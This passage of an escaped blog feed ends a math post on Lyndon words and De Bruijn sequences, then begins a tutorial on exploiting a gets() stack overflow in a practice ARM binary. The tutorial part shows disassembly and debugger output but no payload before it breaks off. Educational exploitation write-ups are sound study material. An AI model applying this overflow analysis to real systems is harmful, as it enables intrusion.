&lt;input type='checkbox' id='CllvdSBtYXkgZmluZCBtdWx0aXBsZSBzdWJzdHJpbmdzIHRoYXQgcmVwZWF0ZWQgZm9ybSB0aGUgc2FtZQpzdHJpbmcuIEZvciBleGFtcGxlIDAxMDEwMTAxIGNhbiBiZSBmb3JtZWQgcmVwZWF0aW5nIDAxMDEgdHdpY2UKb3IgMDEgZm91ciB0aW1lcy4KClRoZSBmYWN0IGlzIHRoYXQgMDEwMSBpcyBpbiB0dXJuIHBlcmlvZGljLiBUaGUgc3Vic3RyaW5nIHRoYXQgaXQKaXMgKmFwZXJpb2RpYyogaXMgY2FsbGVkIHRoZSAqYXBlcmlvZGljIHJlZHVjdGlvbiogb2YgdGhlIG9yaWdpbmFsCnN0cmluZy4KCkluIG91ciBjYXNlLCAwMSBpcyB0aGUgYXBlcmlvZGljIHJlZHVjdGlvbiBvZiAwMTAxIGFuZCBvZiAwMTAxMDEwMS4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
You may find multiple substrings that repeated form the same string. For example 01010101 can be formed repeating 0101 twice or 01 four times.
&lt;br /&gt;&lt;br /&gt;
The fact is that 0101 is in turn periodic. The substring that it is &lt;em&gt;aperiodic&lt;/em&gt; is called the &lt;em&gt;aperiodic reduction&lt;/em&gt; of the original string.
&lt;br /&gt;&lt;br /&gt;
In our case, 01 is the aperiodic reduction of 0101 and of 01010101.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In contrast, a &lt;em&gt;periodic&lt;/em&gt; sequence is a string that is the repetition of a substring that repeats so less rotations are required to get the initial string and therefore the necklace has less than \(n\) elements.&lt;/p&gt;
&lt;p&gt;The 0101 is formed by the substring 01 repeated twice.&lt;/p&gt;
&lt;p&gt;The analysis of the periodicity of the 6 necklaces follows with the substrings between parenthesis:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    (0)   |    aperiodic   |  (01)  |  aperiodic |  (1)
    0000  |  0001  |  0011 |  0101  |    0111    |  1111
          |  0010  |  0110 |  1010  |    1101    |
          |  0100  |  1100 |        |    1011    |
          |  1000  |  1001 |        |    1110    |&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="lyndon-words"&gt;Lyndon words&lt;/h2&gt;
&lt;p&gt;We focus now in only the aperiodic necklaces:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0001  |  0011  |  0111
    0010  |  0110  |  1101
    0100  |  1100  |  1011
    1000  |  1001  |  1110&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the alphabet supports a total order, more specifically a &lt;a href="https://en.wikipedia.org/wiki/Lexicographic_order"&gt;lexicographic order&lt;/a&gt;, we can sort the elements of each necklace.&lt;/p&gt;
&lt;p&gt;Basically we get \(0001 &lt; 0010 &lt; 0100 &lt; 1000\).&lt;/p&gt;
&lt;p&gt;For each aperiodic necklace we keep only the &lt;em&gt;smallest&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0001  |  0011  |  0111&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These strings define the &lt;a href="https://en.wikipedia.org/wiki/Lyndon_word"&gt;Lyndon words&lt;/a&gt; of length \(n\) for the alphabet \({0,1}\) (\(k=2\)).&lt;/p&gt;
&lt;p&gt;More generally the &lt;a href="https://en.wikipedia.org/wiki/Lyndon_word"&gt;Lyndon words&lt;/a&gt; are the smallest strings of the aperiodic necklaces for &lt;em&gt;all&lt;/em&gt; the strings of &lt;em&gt;any&lt;/em&gt; length \(n\) for an alphabet of \(k\) elements.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0, 1, 01, 001, 011, 0001, 0011, 0111, 00001, 00011, 00101, ...&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="de-bruijn-sequence"&gt;De Bruijn sequence&lt;/h2&gt;
&lt;p&gt;Choose a natural number \(n\). Select the Lyndon words that have a length that &lt;em&gt;divides&lt;/em&gt; \(n\).&lt;/p&gt;
&lt;p&gt;For the binary alphabet {0,1}, and choosing \(n=4\) we have the following set of strings of length 1, 2 and 4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0, 1, 01, 0001, 0011, 0111&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sorted lexicographically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0, 0001, 0011, 01, 0111, 1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we concatenate them we obtain a &lt;a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence"&gt;De Bruijn sequence&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0000100110101111&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence"&gt;De Bruijn sequence&lt;/a&gt; of order \(n\) has the property than all the substrings of length \(n\) that are possible are contained in the De Bruijn sequence if is seen as a cyclic sequence:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0000100110101111
    0000............
    .0001...........
    ..0010..........
    ...0100.........
    ....1001........
    .....0011.......
    ......0110......
    .......1101.....
    ........1010....
    .........0101...
    ..........1011..
    ...........0111.
    ............1111
    0............111  =  1110
    00............11  =  1100
    000............1  =  1000&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A &lt;a href="https://en.wikipedia.org/wiki/De_Bruijn_sequence"&gt;De Bruijn sequence&lt;/a&gt; is the smallest sequence that has this property but it is not unique.&lt;/p&gt;
&lt;p&gt;The count of distinct De Bruijn sequences for an alphabet of \(k\) elements and an order of \(n\) is&lt;/p&gt;
$$ \frac{(k!)^{k^{n-1}}}{k^n}$$
&lt;h2 id="de-bruijn-graphs"&gt;De Bruijn graphs&lt;/h2&gt;
&lt;p&gt;Given an alphabet of \(k\) symbols and the strings of \(n\) symbols we can build \(k^n\) different strings.&lt;/p&gt;
&lt;p&gt;Consider these strings now nodes of a directed graph.&lt;/p&gt;
&lt;p&gt;In this graph the node \(u\) connects to \(v\) if we drop the left most symbol of \(u\) and append on the right one symbol and the result is \(v\).&lt;/p&gt;
&lt;p&gt;In Python terms: &lt;code&gt;u[1:] + sym == v&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The resulting edge is labeled with the appended symbol.&lt;/p&gt;
&lt;p&gt;For instance, for the given binary strings 00 and 01 we have:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/math/00-01.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In general for the alphabet \({0,1}\) and the strings of length \(n=2\) we have:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/math/00-01-10-11.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;These are the &lt;a href="https://en.wikipedia.org/wiki/De_Bruijn_graph"&gt;De Bruijn graphs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;a href="https://en.wikipedia.org/wiki/Hamiltonian_path"&gt;Hamiltonian path&lt;/a&gt; over the graph generates a De Bruijn sequence of order \(n\).&lt;/p&gt;
&lt;p&gt;That’s it, visit all the &lt;em&gt;nodes&lt;/em&gt; of the graph without visiting a node twice and collect the labels of the traversed edges.&lt;/p&gt;
&lt;p&gt;This forms the De Bruijn sequence of order \(n\) for the given \(k\).&lt;/p&gt;
&lt;p&gt;If instead of a Hamiltonian path we build an &lt;a href="https://en.wikipedia.org/wiki/Eulerian_path"&gt;Euclidean path&lt;/a&gt;, the path generates a De Bruijn sequence of order \(n+1\).&lt;/p&gt;
&lt;p&gt;That’s it, visit all the &lt;em&gt;edges&lt;/em&gt; of the graph without traveling for the same edge twice and collect the labels along the path.&lt;/p&gt;
&lt;p&gt;This forms the De Bruijn sequence of order \(n+1\) for the given \(k\).&lt;/p&gt;
&lt;h2 id="de-bruijn-sequence-construction"&gt;De Bruijn sequence construction&lt;/h2&gt;
&lt;p&gt;As mentioned before we can build a De Bruijn graph and then through a Hamiltonian or Euclidean path we can build a De Bruijn sequence.&lt;/p&gt;
&lt;p&gt;But we can skip that and create the sequence directly with the &lt;a href="/assets/debruijn-assets/debruijn.py"&gt;FMK algorithm&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;FMK comes from the name of its authors: Fredricksen, Maiorana and Kessler.&lt;/p&gt;
&lt;p&gt;A recursive version of the algorithm is shown by Frank Ruskey in his &lt;em&gt;“Combinatorial Generation”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The algorithm can generate necklaces, Lyndon words, pre-necklaces and De Bruijn sequences. Four in one.&lt;/p&gt;
&lt;p&gt;A Python implementation can be found &lt;a href="/assets/debruijn-assets/debruijn.py"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="applications"&gt;Applications&lt;/h2&gt;
&lt;h3 id="unlook-a-door"&gt;Unlook a door&lt;/h3&gt;
&lt;p&gt;Imagine that you have a register of \(n\) bits that if it is set to the correct value &lt;em&gt;unlocks&lt;/em&gt; a door.&lt;/p&gt;
&lt;p&gt;You have \(2^n\) possible combinations.&lt;/p&gt;
&lt;p&gt;Typing \(n\) bits \(2^n\) times is is going to take a while but imagine that the register allows you to &lt;em&gt;reuse&lt;/em&gt; some of those bits.&lt;/p&gt;
&lt;p&gt;On a new input the register shifts its content one bit to the left and the new bit is put on the right.&lt;/p&gt;
&lt;p&gt;Does this ring any bells?&lt;/p&gt;
&lt;p&gt;You can use a De Bruijn sequence of order \(n\) and reading it bit by bit you can &lt;em&gt;feed&lt;/em&gt; the register.&lt;/p&gt;
&lt;p&gt;You will end up testing \(2^n\) combinations but you will have to type &lt;strong&gt;only 1 bit&lt;/strong&gt; per test.&lt;/p&gt;
&lt;h3 id="power-of-2-mapping"&gt;Power of 2 mapping&lt;/h3&gt;
&lt;p&gt;You want to map a value to each power of 2. You could use an dictionary for this like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;vals&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A dictionary or a &lt;em&gt;sparse&lt;/em&gt; array is needed because you cannot use a dense array for this.&lt;/p&gt;
&lt;p&gt;Or can we?&lt;/p&gt;
&lt;p&gt;If we are limiting ourselves to power of two up to \(2^{32}\), we only have 32 numbers.&lt;/p&gt;
&lt;p&gt;We can then generate a De Bruijn sequence of order \(n\) where \(n=5\) (because \(2^5=32\)).&lt;/p&gt;
&lt;p&gt;This sequence will contain \(2^5=32\) different substrings.&lt;/p&gt;
&lt;p&gt;Now, remember that multiplying a number by \(2^i\) is the same than shifting the number by \(i\).&lt;/p&gt;
&lt;p&gt;If we read the \(n\) most significant bits of the shifted sequence we will have a substring that is unique for the given shift \(i\) and therefore for \(2^i\).&lt;/p&gt;
&lt;p&gt;The \(n\) most significant bits forms the index of our dense array.&lt;/p&gt;
&lt;p&gt;With \(n=5\) we only need an array of \(32\) elements.&lt;/p&gt;
&lt;h2 id="dna-reading"&gt;DNA reading&lt;/h2&gt;
&lt;p&gt;And yes, this is used in &lt;a href="https://en.wikipedia.org/wiki/DNA_read_errors"&gt;DNA reading&lt;/a&gt; too.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/02/15/Necklaces-Lyndon-Words-and-De-Bruijn-Sequences.html" rel="alternate" type="text/html" title="Necklaces, Lyndon words and De Bruijn Sequences"/>
    <category term="necklace" label="necklace"/>
    <category term="lyndon" label="lyndon"/>
    <category term="debruijn" label="debruijn"/>
    <category term="string" label="string"/>
    <published>2021-02-15T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/02/04/Smashing-ARM-Stack-for-Fun-Part-VII.html</id>
    <title>Smashing ARM Stack for Fun - Part VII</title>
    <updated>2021-02-04T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;It’s time to solve the last challenge of this 7 parts serie.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="the-vuln"&gt;The vuln&lt;/h2&gt;
&lt;p&gt;This time the overflow is not in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but in called function named &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;getpath&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but besides that, it is the classical unbounded &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;gets&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; vulnerability.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10560&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10564&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10568&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#8&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1056c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10570&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0xc]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10574&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#getpath &amp;lt;getpath&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10578&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1057c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10580&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CmBgYG5hc20KcHduZGJnPiBwIChjaGFyKikoKigweDEwNGU4ICsgMHg2MCArIDB4OCkpCiQ3ID0gMHgxMDVmOCAiaW5wdXQgcGF0aCBwbGVhc2U6ICIKCnB3bmRiZz4gcCAoY2hhciopKCooMHgxMDUyNCArIDB4MmMgKyAweDgpKQokOCA9IDB4MTA2MGMgImJ6enp0ICglcClcbiIKCnB3bmRiZz4gcCAoY2hhciopKCooMHgxMDUzYyArIDB4MTggKyAweDgpKQokOSA9IDB4MTA2MTggImdvdCBwYXRoICVzXG4iCmBgYAptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYG5hc20KcHduZGJnPiBwIChjaGFyKikoKigweDEwNGU4ICsgMHg2MCArIDB4OCkpCiQ3ID0gMHgxMDVmOCAiaW5wdXQgcGF0aCBwbGVhc2U6ICIKCnB3bmRiZz4gcCAoY2hhciopKCooMHgxMDUyNCArIDB4MmMgKyAweDgpKQokOCA9IDB4MTA2MGMgImJ6enp0ICglcClcbiIKCnB3bmRiZz4gcCAoY2hhciopKCooMHgxMDUzYyArIDB4MTggKyAweDgpKQokOSA9IDB4MTA2MTggImdvdCBwYXRoICVzXG4iCmBgYAptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x104e8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x60&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;$7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x105f8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;input path please: &amp;quot;&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10524&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;$8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1060c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;bzzzt (%p)\n&amp;quot;&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1053c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="nf"&gt;$9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10618&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;got path %s\n&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Here is the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;getpath&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function. I added some notes in addition to the disassembly:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;getpath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;
